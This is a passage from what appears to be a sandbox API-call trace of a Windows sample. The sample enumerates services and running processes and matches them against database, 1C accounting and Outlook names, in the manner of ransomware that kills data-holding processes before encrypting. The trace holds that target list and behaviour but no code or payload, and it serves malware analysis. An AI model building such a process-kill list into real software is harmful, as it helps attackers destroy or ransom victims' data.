(lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0212.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0212.200] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0212.200] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0212.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0212.200] lstrlenW (lpString="DcomLaunch") returned 10 [0212.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0212.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0212.200] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0212.200] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0212.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0212.200] lstrlenW (lpString="Dhcp") returned 4 [0212.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0212.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0212.200] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0212.200] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0212.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0212.200] lstrlenW (lpString="Dnscache") returned 8 [0212.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0212.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0212.200] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0212.200] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0212.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0212.200] lstrlenW (lpString="DPS") returned 3 [0212.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0212.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0212.201] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0212.201] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0212.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0212.201] lstrlenW (lpString="eventlog") returned 8 [0212.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0212.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0212.201] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0212.201] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0212.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0212.201] lstrlenW (lpString="EventSystem") returned 11 [0212.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0212.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0212.201] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0212.201] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0212.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0212.201] lstrlenW (lpString="FontCache") returned 9 [0212.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0212.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0212.201] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0212.201] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0212.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0212.202] lstrlenW (lpString="gpsvc") returned 5 [0212.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0212.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0212.202] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0212.202] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0212.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0212.202] lstrlenW (lpString="iphlpsvc") returned 8 [0212.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0212.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0212.202] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0212.202] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0212.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0212.202] lstrlenW (lpString="LanmanServer") returned 12 [0212.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0212.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0212.202] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0212.202] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0212.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0212.203] lstrlenW (lpString="LanmanWorkstation") returned 17 [0212.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0212.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0212.203] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0212.203] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0212.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0212.203] lstrlenW (lpString="lmhosts") returned 7 [0212.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0212.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0212.203] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0212.203] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0212.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0212.203] lstrlenW (lpString="MMCSS") returned 5 [0212.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0212.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0212.203] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0212.203] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0212.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0212.204] lstrlenW (lpString="MpsSvc") returned 6 [0212.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0212.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0212.204] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0212.204] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0212.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0212.204] lstrlenW (lpString="Netman") returned 6 [0212.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0212.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0212.204] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0212.204] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0212.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0212.204] lstrlenW (lpString="netprofm") returned 8 [0212.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0212.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0212.204] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0212.204] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0212.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0212.204] lstrlenW (lpString="NlaSvc") returned 6 [0212.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0212.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0212.204] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0212.204] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0212.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0212.204] lstrlenW (lpString="nsi") returned 3 [0212.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0212.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0212.205] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0212.205] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0212.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0212.205] lstrlenW (lpString="PcaSvc") returned 6 [0212.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0212.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0212.205] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0212.205] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0212.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0212.205] lstrlenW (lpString="PlugPlay") returned 8 [0212.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0212.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0212.205] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0212.205] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0212.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0212.205] lstrlenW (lpString="Power") returned 5 [0212.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0212.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0212.205] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0212.205] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0212.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0212.205] lstrlenW (lpString="ProfSvc") returned 7 [0212.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0212.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0212.205] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0212.205] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0212.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0212.205] lstrlenW (lpString="RpcEptMapper") returned 12 [0212.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0212.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0212.206] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0212.206] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0212.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0212.206] lstrlenW (lpString="RpcSs") returned 5 [0212.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0212.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0212.206] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0212.206] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0212.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0212.206] lstrlenW (lpString="SamSs") returned 5 [0212.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0212.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0212.206] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0212.206] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0212.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0212.206] lstrlenW (lpString="Schedule") returned 8 [0212.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0212.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0212.206] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0212.206] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0212.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0212.206] lstrlenW (lpString="SENS") returned 4 [0212.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0212.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0212.206] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0212.206] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0212.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0212.207] lstrlenW (lpString="ShellHWDetection") returned 16 [0212.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0212.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0212.207] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0212.207] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0212.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0212.207] lstrlenW (lpString="Spooler") returned 7 [0212.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0212.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0212.207] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0212.207] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0212.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0212.207] lstrlenW (lpString="sppsvc") returned 6 [0212.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0212.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0212.207] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0212.207] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0212.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0212.207] lstrlenW (lpString="SysMain") returned 7 [0212.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0212.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0212.207] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0212.207] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0212.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0212.207] lstrlenW (lpString="Themes") returned 6 [0212.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0212.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0212.208] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0212.208] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0212.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0212.208] lstrlenW (lpString="TrkWks") returned 6 [0212.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0212.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0212.208] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0212.208] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0212.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0212.208] lstrlenW (lpString="UxSms") returned 5 [0212.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0212.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0212.208] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0212.208] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0212.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0212.208] lstrlenW (lpString="VSS") returned 3 [0212.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0212.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0212.208] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0212.208] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0212.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0212.208] lstrlenW (lpString="WdiServiceHost") returned 14 [0212.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0212.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0212.208] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0212.208] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0212.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0212.208] lstrlenW (lpString="WdiSystemHost") returned 13 [0212.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0212.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0212.209] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0212.209] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0212.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0212.209] lstrlenW (lpString="WinDefend") returned 9 [0212.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0212.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0212.209] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0212.209] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0212.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0212.209] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0212.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0212.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0212.209] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0212.209] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0212.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0212.209] lstrlenW (lpString="Winmgmt") returned 7 [0212.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0212.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0212.209] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0212.209] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0212.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0212.209] lstrlenW (lpString="wscsvc") returned 6 [0212.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0212.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0212.210] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0212.210] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0212.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0212.210] lstrlenW (lpString="wuauserv") returned 8 [0212.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0212.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0212.210] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0212.210] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0212.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0212.210] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3f06078 | out: hHeap=0x4f0000) returned 1 [0212.210] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e4 [0212.212] Process32FirstW (in: hSnapshot=0x1e4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0212.213] Process32NextW (in: hSnapshot=0x1e4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0212.214] lstrlenW (lpString="System") returned 6 [0212.214] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0212.214] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0212.214] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0212.214] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0212.214] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0212.214] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0212.214] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0212.214] Process32NextW (in: hSnapshot=0x1e4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0212.215] lstrlenW (lpString="smss.exe") returned 8 [0212.215] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0212.215] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0212.215] Process32NextW (in: hSnapshot=0x1e4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0212.216] lstrlenW (lpString="csrss.exe") returned 9 [0212.216] Process32NextW (in: hSnapshot=0x1e4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0212.217] lstrlenW (lpString="wininit.exe") returned 11 [0212.217] Process32NextW (in: hSnapshot=0x1e4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0212.218] lstrlenW (lpString="csrss.exe") returned 9 [0212.218] Process32NextW (in: hSnapshot=0x1e4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0212.219] lstrlenW (lpString="winlogon.exe") returned 12 [0212.219] Process32NextW (in: hSnapshot=0x1e4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0212.220] lstrlenW (lpString="services.exe") returned 12 [0212.220] Process32NextW (in: hSnapshot=0x1e4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0212.221] lstrlenW (lpString="lsass.exe") returned 9 [0212.221] Process32NextW (in: hSnapshot=0x1e4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0212.221] lstrlenW (lpString="lsm.exe") returned 7 [0212.222] Process32NextW (in: hSnapshot=0x1e4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.222] lstrlenW (lpString="svchost.exe") returned 11 [0212.222] Process32NextW (in: hSnapshot=0x1e4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.223] lstrlenW (lpString="svchost.exe") returned 11 [0212.223] Process32NextW (in: hSnapshot=0x1e4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.280] lstrlenW (lpString="svchost.exe") returned 11 [0212.280] Process32NextW (in: hSnapshot=0x1e4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.284] lstrlenW (lpString="svchost.exe") returned 11 [0212.284] Process32NextW (in: hSnapshot=0x1e4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.285] lstrlenW (lpString="svchost.exe") returned 11 [0212.285] Process32NextW (in: hSnapshot=0x1e4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, 